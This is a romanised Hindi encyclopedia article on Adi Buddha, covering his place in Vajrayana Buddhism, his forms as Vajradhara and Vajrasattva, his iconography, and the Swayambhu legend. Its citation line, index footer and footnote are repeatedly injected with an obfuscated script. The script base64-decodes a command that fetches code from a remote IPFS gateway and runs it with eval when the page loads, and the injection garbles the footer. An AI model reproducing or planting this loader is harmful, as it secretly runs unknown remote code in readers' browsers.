आदि बुद्ध

adi buddh mahayan bauddh dharm ke kuchh matoan mean pahale ya svayanbhoo buddh the. inake bare mean kaha jata hai ki unase paanch dhyani buddh utpann hue.

halaanki adi buddh ki avadharana kabhi bhi bahut prachalan mean nahian rahi, lekin kuchh samoohoan ne, visheshakar nepal, tibbat aur java mean, vairochan ko adi buddh ke roop mean pratishthit ya ek ne devata, jaise 'vajradhar' ya 'vajrasatv' ko sabase b de svami ke roop mean sthapit kar diya.
chitroan aur moortishilp mean adi buddh ko mukutadhari buddh ke roop mean dikhaya gaya hai, jinake sharir par rajasi vastr aur bodhisatv (bhavi buddh) ke paranparik abhooshan haian.
paanch buddh ki avadharana mean 'bahudevavad' ke kisi abhas ka uttar dene ke lie kuchh matoan ne in paanch mean se ek, vairochan ko adi buddh[4] ka darja diya. kee bar chhathe devata ko adi buddh ke roop mean pooja jata hai.
tibbat mean lama mat vajradhar ko adi buddh manate haian. nepal mean kuchh mat vajrasatv ko yah darja dete haian. adibuddh arthath‌ buddhoan mean adim. inhean panchadhyani buddhoan (dr. 'bharatiy devi devata') mean adim athava pratham kaha gaya hai. kuchh logoan ke anusar praranbh mean roop, vedana, sanjna, sanskar aur vijnan namak paanch bauddh tatvoan athava skandhoan ke moortaroop panchadhyani buddhoan ki rachana huee. buddhoan ke kuloan ki kalpana ke sath kuleshoan ki bhi kalpana huee. adibuddh sanbandhi siddhaant ke abhyudayakal ke sanbandh mean vibhinn mat haian. kuchh ke anusar 10vian eesavi shatabdi, doosare mat ke anusar satavian shatabdi tatha tisare mat ke anusar pratham eesavi shatabdi mean is siddhaant ka abhyuday hua. itana nishchit hai ki yah adibuddhasiddhaant bauddhoan ka eeshvaravadi siddhaant man liya gaya hai. lagabhag chhathi satavian ee. shatabdi mean tatkalin vajrayani acharyoan ne astik matoan ko ek poorn vikasit advaitavadi darshan ki or abhimukh hote dekha aur un logoan ne bahudevavadi bauddh devamandal ko sanskrit karane ke uddeshy se us samay ke panchaskandhoan ke adhishthata un dhyani buddhoan ke kuloan aur kuleshoan ka vikas kiya jo apane-apane kuloan ke adibuddh the. hiandoo eeshvaravadi siddhaantoan se prerana grahan karate hue un lagoan ne in sabhi kuloan ke bhi pratham athava adim buddh ki vicharana ke kram mean adibuddh athava vajradharasiddhaant ka vikas kiya. adibuddh ko hi vajrayan ka sarvochch devata sthir kiya gaya aur yah mana gaya ki panchadhyani buddhoan ka unhian se vikas hua.

is siddhaant ka pravartan kuchh matoan ke anusar nalanda vihar mean 10vian shatabdi ke praranbh mean hua. doosare matoan ke anusar isaka pravartan satavian shatabdi mean hi madhyabharat mean hua. pravartan ke uparaant inake svaroop ki kalpana ki gee, moortiyaan banian aur poojavidhan bhi sthir hua. adibuddhasiddhaant se sanbandhit vishesh tantr kalachakratantr hai. ise hi mool tantr mana jata hai jisamean adibuddhasiddhaant ka pravartan hua. is drishti se is tantravishesh ka bhi samay 10vian shatabdi nishchit hata hai. is siddhaant ko sarvapratham kalachakrayan mean hi svikar kiya gaya. adibuddh ke doosare do prasiddh nam haian vajrasatv aur vajradhar. kuchh logoan ke anusar vajradhar ki kalpana adibuddh ke bad ki hai arthath‌ vajradhar ka dhyani buddh akshobhy se vikasit bodhisatv vajrapani se vikas hua. is prakar vajrasatv paravarti vikas hai. pray: vajradhar aur vajrasatv ko ek man liya jata hai. adibuddh in sabhi dhyani buddhoan ke janak haian aur sath hi taantrik bauddh devamandal ke sarvochch devata haian.

adibuddh ki manavakriti mean abhivyakti do roopoan mean milati hai-ekaki roop mean aur yuganaddh roop mean. ekaki roop mean adibuddh prabhootabhaven alankrit aur vajraparyank asan mean athava dhyanamudra mean abhivyakt hote haian. unake donoan pair ek doosare par aropit rahate haian aur donoan talave oordhvamukh rahate haian. unake dahine hath mean vajr, baean hath mean ghanta aur shesh donoan hath vaksh bhag par ek doosare par vajrahuankar madra mean sthit rahate haian. is abhivyakti mean vajr paramatatv shoony ka aur ghanta us prajna ka pratik hai jisaki dhvani door-door tak prasarit hoti hai. kabhi-kabhi e pratik kamal par donoan taraph dikhae jate haian jinamean se vajr dahini or aur ghanta baeean or pradarshit hota hai.

yuganaddh mudra mean adibuddh athava bajradhar uparyukt visheshataoan ke atirikt apani us shakti se bhi sanparishvakt rahate haian jise prajnaparamita kaha jata hai. yah shakti akar mean laghutare aur prabhootabhaven alankrit hoti hai. yah dahine hath mean kartari aur baean hath mean kapal dharan kie rahati haian. kartari ajnan ke vinash ka pratik hai aur kapal poorn ekata ka. yuganaddh mudra mean yah pratikikrit hota hai ki dvayata aur advay mean bhed mithya hai aur donoan jalalavanabhaven vimishrit haian. tibbati lama dharm mean inhean pray: nilavarn, pray: nagn, buddhapurup asan aur dhyanamudra mean aankit kiya jata hai.

is siddhaant ke taantrik bauddh dharm mean poornataya pratishthit ho jane ke bad adibuddh ke vibhinn pakshoan evan roopoan ke prati astha rakhane vale bauddhoan ne apane ko vibhinn sanpradayoan mean vibhakt kar liya. kisi-kisi ne panchadhyani buddhoan mean se hi kisi ko adibuddh man liya, kisi ne vajrasatv ko hi adibuddh ke roop mean svikar kar liya aur kisi ne samantabhadr ya vajrapani jaise bodhisatv (dr.) ko hi adibuddh ki manyata de di. is prakar adibuddh mat vibhinn sanpradayoan mean vibhakt ho gaya. nepal mean aj bhi bauddh adibuddh se sanbandhit vibhinn sanpradayoan mean vibhakt haian. vahaan kuchh bauddh sanpraday vairochan athava akshobhy ko adibuddh manate haian aur kuchh amitabh ko.

is adibuddh ke abhyuday tatha unake mat ke prasarakshetr, mandiradi ke sanbandh mean kathaean milati haian. inake abhyuday ke sanbandh mean svayanbhoopuran ke adhar par kaha jata hai ki adibuddh svayan nepal ke kalidah kshetr mean sarvapratham ek jvala ke roop mean prakat hue aur manjushri ne us jvala ki raksha ke lie usapar ek mandir ka nirman karaya. yahi prachin mandir svayanbhoo chaity ke roop mean aj bhi prasiddh hai. is prakar adibuddh ki ek aisi jvala ke roop mean pooja ki jati hai jise vajrachary nity, svayanbhoo aur svatantr manate haian.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 369 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 369 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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